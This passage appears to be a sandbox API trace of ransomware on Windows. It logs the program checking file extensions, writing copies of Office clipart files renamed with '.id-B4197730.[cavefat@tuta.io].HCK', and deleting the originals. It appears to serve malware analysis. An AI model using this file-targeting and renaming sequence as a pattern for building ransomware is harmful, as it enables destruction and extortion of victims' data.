Office\\root\\CLIPART\\PUB60COR\\PE00633_.WMF") returned 68 [0179.158] lstrlenW (lpString=".1cd") returned 4 [0179.158] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00633_.WMF") returned 68 [0179.158] lstrlenW (lpString=".jpg") returned 4 [0179.158] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00633_.WMF") returned 68 [0179.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00633_.WMF") returned 68 [0179.158] lstrlenW (lpString=".doc") returned 4 [0179.158] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.158] lstrlenW (lpString=".docx") returned 5 [0179.158] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.158] lstrlenW (lpString=".pdf") returned 4 [0179.158] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.158] lstrlenW (lpString=".xls") returned 4 [0179.158] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.158] lstrlenW (lpString=".xlsx") returned 5 [0179.158] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.158] lstrlenW (lpString=".ppt") returned 4 [0179.158] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00633_.WMF") returned 68 [0179.158] lstrlenW (lpString=".zip") returned 4 [0179.158] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.158] lstrlenW (lpString=".rar") returned 4 [0179.158] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.158] lstrlenW (lpString=".bz2") returned 4 [0179.158] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.158] lstrlenW (lpString=".7z") returned 3 [0179.158] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00633_.WMF") returned 68 [0179.158] lstrlenW (lpString=".dbf") returned 4 [0179.158] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00633_.WMF") returned 68 [0179.158] lstrlenW (lpString=".1cd") returned 4 [0179.158] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00633_.WMF") returned 68 [0179.158] lstrlenW (lpString=".jpg") returned 4 [0179.158] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.158] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0179.158] lstrlenW (lpString="PE00685_.WMF") returned 12 [0179.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00685_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0179.164] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=4234) returned 1 [0179.164] CloseHandle (hObject=0x370) returned 1 [0179.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00685_.wmf")) returned 0x220 [0179.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00685_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00685_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00685_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0179.170] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.170] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00685_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00685_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0179.172] GetLastError () returned 0x0 [0179.172] ReadFile (in: hFile=0x300, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x108a, lpOverlapped=0x0) returned 1 [0179.173] WriteFile (in: hFile=0x368, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x1090, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x1090, lpOverlapped=0x0) returned 1 [0179.174] ReadFile (in: hFile=0x300, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0179.174] WriteFile (in: hFile=0x368, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0179.174] SetEndOfFile (hFile=0x368) returned 1 [0179.176] CloseHandle (hObject=0x368) returned 1 [0179.177] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.177] SetEndOfFile (hFile=0x300) returned 1 [0179.179] CloseHandle (hObject=0x300) returned 1 [0179.180] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00685_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.181] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00685_.wmf")) returned 1 [0179.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00685_.WMF") returned 68 [0179.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00685_.WMF") returned 68 [0179.182] lstrlenW (lpString=".doc") returned 4 [0179.182] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.182] lstrlenW (lpString=".docx") returned 5 [0179.182] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.182] lstrlenW (lpString=".pdf") returned 4 [0179.182] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.182] lstrlenW (lpString=".xls") returned 4 [0179.182] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.182] lstrlenW (lpString=".xlsx") returned 5 [0179.182] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.182] lstrlenW (lpString=".ppt") returned 4 [0179.182] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00685_.WMF") returned 68 [0179.182] lstrlenW (lpString=".zip") returned 4 [0179.183] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.183] lstrlenW (lpString=".rar") returned 4 [0179.183] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.183] lstrlenW (lpString=".bz2") returned 4 [0179.183] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.183] lstrlenW (lpString=".7z") returned 3 [0179.183] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00685_.WMF") returned 68 [0179.183] lstrlenW (lpString=".dbf") returned 4 [0179.183] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00685_.WMF") returned 68 [0179.183] lstrlenW (lpString=".1cd") returned 4 [0179.183] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00685_.WMF") returned 68 [0179.183] lstrlenW (lpString=".jpg") returned 4 [0179.183] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00685_.WMF") returned 68 [0179.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00685_.WMF") returned 68 [0179.183] lstrlenW (lpString=".doc") returned 4 [0179.183] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.183] lstrlenW (lpString=".docx") returned 5 [0179.183] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.183] lstrlenW (lpString=".pdf") returned 4 [0179.183] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.183] lstrlenW (lpString=".xls") returned 4 [0179.183] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.183] lstrlenW (lpString=".xlsx") returned 5 [0179.183] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.183] lstrlenW (lpString=".ppt") returned 4 [0179.183] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00685_.WMF") returned 68 [0179.183] lstrlenW (lpString=".zip") returned 4 [0179.183] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.183] lstrlenW (lpString=".rar") returned 4 [0179.183] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.183] lstrlenW (lpString=".bz2") returned 4 [0179.183] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.183] lstrlenW (lpString=".7z") returned 3 [0179.183] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00685_.WMF") returned 68 [0179.183] lstrlenW (lpString=".dbf") returned 4 [0179.183] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00685_.WMF") returned 68 [0179.184] lstrlenW (lpString=".1cd") returned 4 [0179.184] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00685_.WMF") returned 68 [0179.184] lstrlenW (lpString=".jpg") returned 4 [0179.184] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.184] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0179.184] lstrlenW (lpString="PE00723_.WMF") returned 12 [0179.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00723_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00723_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0179.187] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=6908) returned 1 [0179.187] CloseHandle (hObject=0x2fc) returned 1 [0179.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00723_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00723_.wmf")) returned 0x220 [0179.191] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00723_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00723_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00723_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00723_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0179.195] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.195] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00723_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00723_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0179.197] GetLastError () returned 0x0 [0179.197] ReadFile (in: hFile=0x300, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x1afc, lpOverlapped=0x0) returned 1 [0179.200] WriteFile (in: hFile=0x2fc, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x1b00, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x1b00, lpOverlapped=0x0) returned 1 [0179.201] ReadFile (in: hFile=0x300, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0179.201] WriteFile (in: hFile=0x2fc, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0179.201] SetEndOfFile (hFile=0x2fc) returned 1 [0179.202] CloseHandle (hObject=0x2fc) returned 1 [0179.203] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.203] SetEndOfFile (hFile=0x300) returned 1 [0179.205] CloseHandle (hObject=0x300) returned 1 [0179.208] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00723_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.208] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00723_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00723_.wmf")) returned 1 [0179.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00723_.WMF") returned 68 [0179.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00723_.WMF") returned 68 [0179.212] lstrlenW (lpString=".doc") returned 4 [0179.212] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.212] lstrlenW (lpString=".docx") returned 5 [0179.212] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.212] lstrlenW (lpString=".pdf") returned 4 [0179.212] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.212] lstrlenW (lpString=".xls") returned 4 [0179.212] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.212] lstrlenW (lpString=".xlsx") returned 5 [0179.212] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.212] lstrlenW (lpString=".ppt") returned 4 [0179.212] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00723_.WMF") returned 68 [0179.212] lstrlenW (lpString=".zip") returned 4 [0179.212] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.212] lstrlenW (lpString=".rar") returned 4 [0179.212] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.212] lstrlenW (lpString=".bz2") returned 4 [0179.212] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.212] lstrlenW (lpString=".7z") returned 3 [0179.212] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00723_.WMF") returned 68 [0179.212] lstrlenW (lpString=".dbf") returned 4 [0179.212] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00723_.WMF") returned 68 [0179.212] lstrlenW (lpString=".1cd") returned 4 [0179.212] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00723_.WMF") returned 68 [0179.212] lstrlenW (lpString=".jpg") returned 4 [0179.212] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00723_.WMF") returned 68 [0179.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00723_.WMF") returned 68 [0179.213] lstrlenW (lpString=".doc") returned 4 [0179.213] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.213] lstrlenW (lpString=".docx") returned 5 [0179.213] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.213] lstrlenW (lpString=".pdf") returned 4 [0179.213] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.213] lstrlenW (lpString=".xls") returned 4 [0179.213] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.213] lstrlenW (lpString=".xlsx") returned 5 [0179.213] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.213] lstrlenW (lpString=".ppt") returned 4 [0179.213] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00723_.WMF") returned 68 [0179.213] lstrlenW (lpString=".zip") returned 4 [0179.213] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.213] lstrlenW (lpString=".rar") returned 4 [0179.213] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.213] lstrlenW (lpString=".bz2") returned 4 [0179.213] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.213] lstrlenW (lpString=".7z") returned 3 [0179.213] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00723_.WMF") returned 68 [0179.213] lstrlenW (lpString=".dbf") returned 4 [0179.213] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00723_.WMF") returned 68 [0179.213] lstrlenW (lpString=".1cd") returned 4 [0179.213] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00723_.WMF") returned 68 [0179.213] lstrlenW (lpString=".jpg") returned 4 [0179.213] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.213] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0179.213] lstrlenW (lpString="PE00934_.WMF") returned 12 [0179.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00934_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00934_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0179.217] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=12544) returned 1 [0179.217] CloseHandle (hObject=0x39c) returned 1 [0179.217] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00934_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00934_.wmf")) returned 0x220 [0179.220] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00934_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00934_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00934_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00934_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0179.221] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.221] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00934_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00934_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0179.224] GetLastError () returned 0x0 [0179.224] ReadFile (in: hFile=0x2fc, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x3100, lpOverlapped=0x0) returned 1 [0179.227] WriteFile (in: hFile=0x368, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x3110, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x3110, lpOverlapped=0x0) returned 1 [0179.228] ReadFile (in: hFile=0x2fc, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0179.228] WriteFile (in: hFile=0x368, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0179.228] SetEndOfFile (hFile=0x368) returned 1 [0179.230] CloseHandle (hObject=0x368) returned 1 [0179.232] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.232] SetEndOfFile (hFile=0x2fc) returned 1 [0179.234] CloseHandle (hObject=0x2fc) returned 1 [0179.235] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00934_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.235] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00934_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00934_.wmf")) returned 1 [0179.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00934_.WMF") returned 68 [0179.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00934_.WMF") returned 68 [0179.237] lstrlenW (lpString=".doc") returned 4 [0179.237] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.237] lstrlenW (lpString=".docx") returned 5 [0179.237] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.237] lstrlenW (lpString=".pdf") returned 4 [0179.237] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.237] lstrlenW (lpString=".xls") returned 4 [0179.237] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.237] lstrlenW (lpString=".xlsx") returned 5 [0179.237] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.237] lstrlenW (lpString=".ppt") returned 4 [0179.237] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00934_.WMF") returned 68 [0179.237] lstrlenW (lpString=".zip") returned 4 [0179.237] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.237] lstrlenW (lpString=".rar") returned 4 [0179.237] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.237] lstrlenW (lpString=".bz2") returned 4 [0179.237] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.237] lstrlenW (lpString=".7z") returned 3 [0179.237] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00934_.WMF") returned 68 [0179.237] lstrlenW (lpString=".dbf") returned 4 [0179.238] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00934_.WMF") returned 68 [0179.238] lstrlenW (lpString=".1cd") returned 4 [0179.238] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00934_.WMF") returned 68 [0179.238] lstrlenW 